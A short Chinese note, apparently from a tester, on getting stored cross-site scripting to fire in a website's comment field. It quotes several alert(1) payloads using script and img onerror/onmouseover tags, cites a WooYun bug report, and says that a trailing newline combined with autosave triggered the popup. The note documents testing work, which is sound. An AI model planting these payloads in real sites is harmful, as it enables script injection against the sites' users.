这波操作真是令人窒息哦
先是找到评论帖子处
<script>alert(1)</script>
<img src=1 οnerrοr=alert(1) />
试了试 没弹
参考了一波乌云的操作
http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2013-021587
现在我们来看看这波payload
<script>alert(1)</script><img src="http://www.baidu.com/img/shouye_b5486898c692066bd2cbaeda86d74448.gif" οnmοuseοver=alert(1) />
真的很无语
这种payload 需要在后面的末尾处加换行才可以
末尾加换行 自动保存的功能 然后就弹框了